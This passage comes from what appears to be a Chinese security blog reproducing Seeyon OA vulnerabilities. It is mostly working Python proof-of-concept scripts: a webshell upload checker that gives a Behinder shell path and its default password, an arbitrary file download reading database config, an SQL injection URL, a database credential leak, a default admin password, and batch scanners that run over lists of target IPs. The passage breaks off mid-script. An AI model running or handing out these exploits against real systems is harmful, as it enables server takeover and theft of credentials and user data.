%C2%B4%C3%8E%C3%BB%C3%996j%C2%BDU%40s%40%C3%B3w%C3%8F%5B%C2%A4%C2%84%C2%80%C3%A0%2B%14K%0Cg%C3%82%01.W%C2%89K%C2%80%C3%AF%C3%9CXd%1F%C3%B6%03%C3%BB%C2%B0%C2%A9%C2%B6%C2%86%C2%8D%C2%ADP%3Fo%0F%C3%92%C3%80B%C3%92%08p%C3%BA%C2%AD%C2%A9%01%12%C2%AE%C3%90T%0D%C3%8B%28%07%C2%B6%C3%A6%23%C2%A8I%C2%A9S%C2%9DG%7B%0E_%C2%9D6%C3%86%C3%B1%1B%C2%BD%26%10%C3%839%C2%A6uU%03%C2%97%28X%C2%9E%C2%AE%26%C2%AA%C2%BEA%C3%B2%21%0B%C3%974%06%C3%87%C3%9C%C3%87%1BT%C3%A6%C2%B6%09%C3%BC%23%C2%A7%C2%87u%C2%AC%1A%C2%A7%0BG%7E%C2%82%C2%AD%C3%8A%C2%8F%3F%C3%BC%19%C3%99%C2%BF%C3%BE%C2%99%C3%88%C2%95%C2%84d%C2%AD%C2%91O%C3%AB%7C%C2%81%C3%8AO%C3%96o%C3%B8%C3%9Ay%C3%A4%12%C2%9D%C2%A7%C3%B5%C2%89%C2%A1%18%24%C2%A0j%C3%B4%C3%9A%C3%BA%C3%94z%C2%8D_%C2%BF%C3%96F%C2%9E%C2%9E%C2%A9%1C%C3%84V%25%C2%9C%5D%C3%96%C2%A6%C3%B9X%C2%A4%C2%B2%28%60XMn%C3%90%18%C3%A6%C2%AE%C2%81o%C3%B4m%C2%BA%C3%97%C2%95%C2%85%12%C2%AAs%C2%9A%C3%97%C3%A2n%C2%977%C3%BD%C3%81%C2%A9x%1F%C3%A9%C3%84%C2%A6%C2%BD*%2FW%18%C2%98%3A%06%C3%BC%3E%C2%B79%C2%9D%3D%12%C3%BD%C3%AD%C2%8F%1C%C3%944%C2%9D%5E%C2%97%1Cc%C3%AAgBc%C2%A0%C3%B1%C3%83%C2%95%1B%29%C2%ACe%08%21%C2%8D%C2%8F%C3%BA%C2%A1%C2%97%C3%90X%C2%A4%C2%A0%0A%C2%9A%C2%9E%C3%9Es%C3%A3%1C%C2%8A%C3%BA%10%C3%92%C3%9A%C3%AE%C2%A6%C3%A3%C2%A6%27%01%C2%A7T%C2%8E9a%5DQgw%C3%A1%C2%B5h%C3%AB%C2%BA*%5C%7E%C3%BF%C3%B8%3E%C3%ADL%C2%9AG%7D%C2%82R%C3%90%C2%9F%C2%BCh%C3%B3o%C3%83%C2%99%07bH%07%1E%C3%9E%C3%AFv%C3%96%3FW%C3%AA%C3%BDw%C2%AA%5B%C2%B3%3B%C3%93%C3%9A%C2%B6L%C3%AF%0E%C3%98o%C3%AFI%7E%3AQ%C2%80f%09%3C%7C%C3%A9%1C%0F%C2%8B%C2%AF%C3%8F%1F%C2%97%C3%84%C3%87%7D%C3%93o%18%1C%C3%B5%3E%C2%82%C3%BF%C2%9F.%C3%80q%C3%AAQ%C3%87%7E%7C%C2%AF%C3%B7%21%25%C2%A0wb%C3%92%C3%8C%C3%89%10%60%C3%8A%C2%B2%C3%AC%3D%C2%BCv%7F%C3%90%25I%17%C3%A5k%7Dg%C2%97%C3%9C%C3%AB%C3%BE%C3%BD%2FheA%C3%A4_%05%00%00"</span></span><br><span class="line"> requests.packages.urllib3.disable_warnings(InsecureRequestWarning)</span><br><span class="line"> response = requests.post(url=vuln_url_2, headers=headers, data=data, verify=<span class="literal">False</span>)</span><br><span class="line"> test_webshell(target_url)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">test_webshell</span>(<span class="params">target_url</span>):</span><br><span class="line"> webshell_url = target_url + <span class="string">"/seeyon/apps_res/addressbook/images/config.jspx"</span></span><br><span class="line"> headers = {</span><br><span class="line"> <span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"</span>,</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> requests.packages.urllib3.disable_warnings(InsecureRequestWarning)</span><br><span class="line"> response = requests.get(url=webshell_url, timeout=<span class="number">10</span>, verify=<span class="literal">False</span>, headers=headers)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[32m[o] 正在请求 : {}/seeyon/apps_res/addressbook/images/config.jspx\033[0m"</span>.<span class="built_in">format</span>(target_url))</span><br><span class="line"> <span class="keyword">if</span> response.status_code == <span class="number">200</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[32m[o] 目标 {} 成功上传 webshell : {}/seeyon/apps_res/addressbook/images/config.jspx\033[0m"</span>.<span class="built_in">format</span>(target_url,target_url))</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[32m[o] webshell地址：{}/seeyon/apps_res/addressbook/images/config.jspx \033[0m"</span>.<span class="built_in">format</span>(target_url))</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[32m[o] 冰蝎3默认马 pass ：rebeyond \033[0m"</span>.<span class="built_in">format</span>(target_url))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 目标漏洞无法利用，写入失败 \033[0m"</span>)</span><br><span class="line"> sys.exit(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 目标漏洞无法利用，写入失败 {} \033[0m"</span>.<span class="built_in">format</span>(e))</span><br><span class="line"> sys.exit(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> title()</span><br><span class="line"> target_url = <span class="built_in">str</span>(<span class="built_in">input</span>(<span class="string">"\033[35mPlease input Attack Url\nUrl >>> \033[0m"</span>))</span><br><span class="line"> POC_1(target_url)</span><br></pre></td></tr></table></figure></li>
</ol>
<h2 id="【CNVD-2020-62422】致远OA-webmail-do任意文件下载漏洞"><a href="#【CNVD-2020-62422】致远OA-webmail-do任意文件下载漏洞" class="headerlink" title="【CNVD-2020-62422】致远OA webmail.do任意文件下载漏洞"></a>【CNVD-2020-62422】致远OA webmail.do任意文件下载漏洞</h2><h3 id="漏洞描述-2"><a href="#漏洞描述-2" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>致远OA存在任意文件下载漏洞，攻击者可利用该漏洞下载任意文件，获取敏感信息。</p>
<h3 id="影响版本-2"><a href="#影响版本-2" class="headerlink" title="影响版本"></a>影响版本</h3><p>致远OA A6-V5</p>
<p>致远OA A8-V5</p>
<p>致远OA G6</p>
<h3 id="复现过程-2"><a href="#复现过程-2" class="headerlink" title="复现过程"></a>复现过程</h3><ol>
<li><p>访问URL<code>/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=../conf/datasourceCtp.properties</code>，如果下载 <strong>datasourceCtp.properties</strong> 配置文件，存在漏洞。</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225638.png"></p>
</li>
<li><p>更改参数 filePath 可下载其他文件</p>
</li>
<li><p>漏洞利用POC</p>
<figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">from</span> requests.packages.urllib3.exceptions <span class="keyword">import</span> InsecureRequestWarning</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">title</span>():</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+------------------------------------------'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[34mVersion: 致远OA多个版本 \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[36m使用格式: python3 poc.py \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+------------------------------------------'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">POC_1</span>(<span class="params">target_url</span>):</span><br><span class="line"> vuln_url = target_url + <span class="string">"/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=../conf/datasourceCtp.properties"</span></span><br><span class="line"> headers = {</span><br><span class="line"> <span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"</span>,</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> requests.packages.urllib3.disable_warnings(InsecureRequestWarning)</span><br><span class="line"> response = requests.get(url=vuln_url, headers=headers, verify=<span class="literal">False</span>, timeout=<span class="number">5</span>)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">"workflow"</span> <span class="keyword">in</span> response.text:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[32m[o] 目标{}存在漏洞 \033[0m"</span>.<span class="built_in">format</span>(target_url))</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[32m[o] 响应为:\n{} \033[0m"</span>.<span class="built_in">format</span>(response.text))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 文件请求失败 \033[0m"</span>)</span><br><span class="line"> sys.exit(<span class="number">0</span>)</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 请求失败 \033[0m"</span>, e)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> title()</span><br><span class="line"> target_url = <span class="built_in">str</span>(<span class="built_in">input</span>(<span class="string">"\033[35mPlease input Attack Url\nUrl >>> \033[0m"</span>))</span><br><span class="line"> POC_1(target_url)</span><br></pre></td></tr></table></figure></li>
</ol>
<h2 id="致远OA-A6-setextno-jsp-SQL注入漏洞"><a href="#致远OA-A6-setextno-jsp-SQL注入漏洞" class="headerlink" title="致远OA A6 setextno.jsp SQL注入漏洞"></a>致远OA A6 setextno.jsp SQL注入漏洞</h2><h3 id="漏洞描述-3"><a href="#漏洞描述-3" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>致远OA A6 setextno.jsp 存在sql注入漏洞，并可以通过注入写入webshell文件控制服务器</p>
<h3 id="漏洞影响"><a href="#漏洞影响" class="headerlink" title="漏洞影响"></a>漏洞影响</h3><p>致远OA A6</p>
<h3 id="复现流程"><a href="#复现流程" class="headerlink" title="复现流程"></a>复现流程</h3><ol>
<li><p>漏洞URL为<code>/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225757.png"></p>
</li>
<li><p>访问如下URL测试SQL注入<code>/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(md5(1)),4#</code></p>
<p> <img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225903.png"></p>
<p>分机号显示4，存在SQL注入</p>
</li>
<li><p>查看版本和用户显示如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912225925.png"></p>
</li>
<li><p>接着可以利用into file写入webshell，由于使用的是真实系统，不进行写Webshell。</p>
</li>
</ol>
<h2 id="致远OA-A6-createMysql-jsp-数据库敏感信息泄露"><a href="#致远OA-A6-createMysql-jsp-数据库敏感信息泄露" class="headerlink" title="致远OA A6 createMysql.jsp 数据库敏感信息泄露"></a>致远OA A6 createMysql.jsp 数据库敏感信息泄露</h2><h3 id="漏洞描述-4"><a href="#漏洞描述-4" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>致远OA A6 存在数据库敏感信息泄露，攻击者可以通过访问特定的URL获取数据库账户以及密码MD5。</p>
<h3 id="漏洞影响-1"><a href="#漏洞影响-1" class="headerlink" title="漏洞影响"></a>漏洞影响</h3><p>致远OA A6</p>
<h3 id="复现流程-1"><a href="#复现流程-1" class="headerlink" title="复现流程"></a>复现流程</h3><ol>
<li><p>访问如下URL，可以读取数据库账户以及密码MD5，相当于执行了SQL语句<code>select * from mysql.user; </code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230101.png"></p>
</li>
<li><p>漏洞利用POC</p>
<figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">from</span> requests.packages.urllib3.exceptions <span class="keyword">import</span> InsecureRequestWarning</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">title</span>():</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+------------------------------------------'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[34mVersion: 致远OA A6 \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[36m使用格式: python3 poc.py \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+------------------------------------------'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">POC_1</span>(<span class="params">target_url</span>):</span><br><span class="line"> vuln_url = target_url + <span class="string">"/yyoa/createMysql.jsp"</span></span><br><span class="line"> headers = {</span><br><span class="line"> <span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"</span>,</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> requests.packages.urllib3.disable_warnings(InsecureRequestWarning)</span><br><span class="line"> response = requests.post(url=vuln_url, headers=headers, verify=<span class="literal">False</span>, timeout=<span class="number">5</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[36m[o] 正在请求 {}/yyoa/createMysql.jsp..... \033[0m"</span>.<span class="built_in">format</span>(target_url))</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'root'</span> <span class="keyword">in</span> response.text <span class="keyword">and</span> response.status_code == <span class="number">200</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[36m[o] 响应为:{}\n \033[0m"</span>.<span class="built_in">format</span>(response.text))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 请求失败\033[0m"</span>.<span class="built_in">format</span>(target_url))</span><br><span class="line"> sys.exit(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 请求失败 \033[0m"</span>, e)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> title()</span><br><span class="line"> target_url = <span class="built_in">str</span>(<span class="built_in">input</span>(<span class="string">"\033[35mPlease input Attack Url\nUrl >>> \033[0m"</span>))</span><br><span class="line"> POC_1(target_url)</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230143.png"></p>
</li>
</ol>
<h2 id="致远OA-A8-状态监控页面信息泄露"><a href="#致远OA-A8-状态监控页面信息泄露" class="headerlink" title="致远OA A8 状态监控页面信息泄露"></a>致远OA A8 状态监控页面信息泄露</h2><h3 id="漏洞描述-5"><a href="#漏洞描述-5" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>致远OA A8-m 存在状态监控页面信息泄露，攻击者可以从其中获取网站路径和用户名等敏感信息进一步攻击。</p>
<h3 id="影响版本-3"><a href="#影响版本-3" class="headerlink" title="影响版本"></a>影响版本</h3><p>致远OA A8-m</p>
<h3 id="复现过程-3"><a href="#复现过程-3" class="headerlink" title="复现过程"></a>复现过程</h3><ol>
<li><p>访问监控页面URL<code>/seeyon/management/status.jsp</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230208.png"></p>
</li>
<li><p>使用默认后台密码 <strong>WLCCYBD@SEEYON</strong>进行登录后可通过如下URL获取敏感信息</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/seeyon/management/status.jsp</span><br><span class="line">/seeyon/logs/login.log</span><br><span class="line">/seeyon/logs/v3x.log</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230249.png"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230313.png"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230351.png"></p>
</li>
<li><p>漏洞利用POC</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">from</span> requests.packages.urllib3.exceptions <span class="keyword">import</span> InsecureRequestWarning</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">title</span>():</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+------------------------------------------'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[34mVersion: 致远OA A8 m \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[36m使用格式: python3 poc.py \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[36mFile >>> ip.txt \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+------------------------------------------'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">POC_1</span>(<span class="params">target_url</span>):</span><br><span class="line"> vuln_url = target_url + <span class="string">"/seeyon/management/index.jsp"</span></span><br><span class="line"> headers = {</span><br><span class="line"> <span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"</span>,</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> requests.packages.urllib3.disable_warnings(InsecureRequestWarning)</span><br><span class="line"> response = requests.get(url=vuln_url, headers=headers, verify=<span class="literal">False</span>, timeout=<span class="number">5</span>)</span><br><span class="line"> <span class="keyword">if</span> response.status_code == <span class="number">200</span> <span class="keyword">and</span> <span class="string">"Password"</span> <span class="keyword">in</span> response.text:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[32m[o] 目标 {} 存在后台监控地址{}，默认密码为: WLCCYBD@SEEYON\033[0m"</span>.<span class="built_in">format</span>(target_url, vuln_url))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 目标 {}不存在漏洞 \033[0m"</span>.<span class="built_in">format</span>(target_url))</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 目标 {} 请求失败 \033[0m"</span>.<span class="built_in">format</span>(target_url))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">Scan</span>(<span class="params">file_name</span>):</span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(file_name, <span class="string">"r"</span>, encoding=<span class="string">'utf8'</span>) <span class="keyword">as</span> scan_url:</span><br><span class="line"> <span class="keyword">for</span> url <span class="keyword">in</span> scan_url:</span><br><span class="line"> <span class="keyword">if</span> url[:<span class="number">4</span>] != <span class="string">"http"</span>:</span><br><span class="line"> url = <span class="string">"http://"</span> + url</span><br><span class="line"> url = url.strip(<span class="string">'\n'</span>)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> POC_1(url)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 请求报错 \033[0m"</span>.<span class="built_in">format</span>(e))</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> title()</span><br><span class="line"> file_name = <span class="built_in">str</span>(<span class="built_in">input</span>(<span class="string">"\033[35mPlease input Attack File\nFile >>> \033[0m"</span>))</span><br><span class="line"> Scan(file_name)</span><br></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230424.png"></p>
</li>
</ol>
<h2 id="致远OA-A6-DownExcelBeanServlet-用户敏感信息泄露"><a href="#致远OA-A6-DownExcelBeanServlet-用户敏感信息泄露" class="headerlink" title="致远OA A6 DownExcelBeanServlet 用户敏感信息泄露"></a>致远OA A6 DownExcelBeanServlet 用户敏感信息泄露</h2><h3 id="漏洞描述-6"><a href="#漏洞描述-6" class="headerlink" title="漏洞描述"></a>漏洞描述</h3><p>致远OA A6 存在某个未授权的接口导致任意访问者可下载OA中的用户信息</p>
<h3 id="漏洞影响-2"><a href="#漏洞影响-2" class="headerlink" title="漏洞影响"></a>漏洞影响</h3><p>致远OA A6</p>
<h3 id="复现流程-2"><a href="#复现流程-2" class="headerlink" title="复现流程"></a>复现流程</h3><ol>
<li><p>访问如下URL<code>yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0</code>即可跳转下载用户信息文件</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/20220912230509.png"></p>
<p>可以再利用得到的用户名使用弱口令爆破进入OA进一步攻击</p>
</li>
<li><p>漏洞利用POC</p>
<figure class="highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> random</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">from</span> requests.packages.urllib3.exceptions <span class="keyword">import</span> InsecureRequestWarning</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">title</span>():</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+------------------------------------------'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[34mVersion: 致远OA A6 \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[36m使用格式: python3 poc.py \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+ \033[36mFile >>> ip.txt \033[0m'</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">'+------------------------------------------'</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">POC_1</span>(<span class="params">target_url</span>):</span><br><span class="line"> vuln_url = target_url + <span class="string">"/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0"</span></span><br><span class="line"> headers = {</span><br><span class="line"> <span class="string">"User-Agent"</span>: <span class="string">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36"</span>,</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> requests.packages.urllib3.disable_warnings(InsecureRequestWarning)</span><br><span class="line"> response = requests.get(url=vuln_url, headers=headers, verify=<span class="literal">False</span>, timeout=<span class="number">5</span>)</span><br><span class="line"> <span class="keyword">if</span> <span class="string">"@"</span> <span class="keyword">in</span> response.text <span class="keyword">and</span> response.status_code == <span class="number">200</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[32m[o] 目标 {}存在漏洞! \n下载地址:{} \033[0m"</span>.<span class="built_in">format</span>(target_url, vuln_url))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 目标 {}不存在漏洞 \033[0m"</span>.<span class="built_in">format</span>(target_url))</span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 请求失败 \033[0m"</span>, e)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">Scan</span>(<span class="params">file_name</span>):</span><br><span class="line"> <span class="keyword">with</span> <span class="built_in">open</span>(file_name, <span class="string">"r"</span>, encoding=<span class="string">'utf8'</span>) <span class="keyword">as</span> scan_url:</span><br><span class="line"> <span class="keyword">for</span> url <span class="keyword">in</span> scan_url:</span><br><span class="line"> <span class="keyword">if</span> url[:<span class="number">4</span>] != <span class="string">"http"</span>:</span><br><span class="line"> url = <span class="string">"http://"</span> + url</span><br><span class="line"> url = url.strip(<span class="string">'\n'</span>)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> POC_1(url)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"\033[31m[x] 请求报错 \033[0m"</span>.<span class="built_in">format</span>(e))</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> 